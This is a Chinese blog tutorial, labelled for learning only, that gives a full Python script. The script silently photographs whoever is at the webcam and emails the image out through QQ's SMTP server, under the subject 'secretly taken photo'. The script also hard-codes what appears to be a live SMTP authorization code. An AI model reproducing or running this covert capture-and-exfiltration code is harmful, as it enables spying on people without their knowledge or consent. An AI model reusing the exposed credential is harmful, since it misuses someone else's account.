每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)
Posted IT挖掘机y
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)相关的知识,希望对你有一定的参考价值。
仅供学习,望注意隐私
1、功能展示
这里我使用自己的电脑进行控制拍照,将其发送到自己的邮箱;图片经过base64编码,至于怎么解码,从邮箱下载到本地重命名为后缀名为.jpg即可
另外项目目录也会出现
图片已经展示过😁
2、代码展示
import cv2 as cv
from email.mime.multipart import MIMEMultipart #邮件格式
from email.header import Header #邮件头
from email.mime.text import MIMEText #邮件文本内容
from smtplib import SMTP_SSL #邮箱发送依赖包
#开启摄像头进行拍照
def get_person_image():
capture = cv.VideoCapture(0)
result,image_data = capture.read() # result是拍照的结果(true或者false),image_data是图片数据
cv.imwrite('person.jpg', image_data) #写入到当前项目的根目录下
capture.release() #关闭
#将图片发送到邮箱
def send_email():
server = 'smtp.qq.com' #使用qq邮箱服务器
pwd = 'mlkgdtqksuvldiii' #动态验证码(开启IMAP/SMTP服务之后复制的那一串动态验证码)
sender = '181xxxx22@qq.com' #发件人
receiver = '181xxxx22@qq.com' #收件人
#创建邮件格式(邮件格式也就是每封邮件都有发送人、日期、收件人、内容等等)
message = MIMEMultipart()
message['Subject'] = Header('偷拍照片','UTF-8') #邮件主题
message['From'] = sender #发件人
message['To'] = receiver #收件人
message.attach(MIMEText('photo', 'html', 'UTF-8'))#文本内容(photo是文本内容,网页肯定是html格式)
image = MIMEText(open('person.jpg', 'rb').read(), 'base64', 'UTF-8') #base64是进行编码(可以理解为加密)
image['Content-Type'] = 'image/jpeg'
message.attach(image)
#发送
shtp = SMTP_SSL(server)
shtp.login(sender, pwd)
shtp.sendmail(sender, receiver, message.as_string())
shtp.quit()
if __name__ == '__main__':
get_person_image()
send_email()
3、详细步骤
Ⅰ、安装opencv
1、在pycharm中点开Terminalopencv是一个计算机视觉库,,使用它我们可以开发实时的计算机视觉应用程序。 它主要集中在图像处理,视频采集和分析,包括人脸检测和物体检测等功能。
2、输入pip install opencv-python(点击回车等待完成即可)
注意python版本不要太高,否者可能会出现opencv无法导入的问题(我是用是的是python3.7版本的)
Ⅱ、QQ邮箱设置
设置-》账户-》开启
开启IMAP/SMTP服务之后,复制那一串动态验证码(代码中要用到)
注意隐私!
以上是关于每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)的主要内容,如果未能解决你的问题,请参考以下文章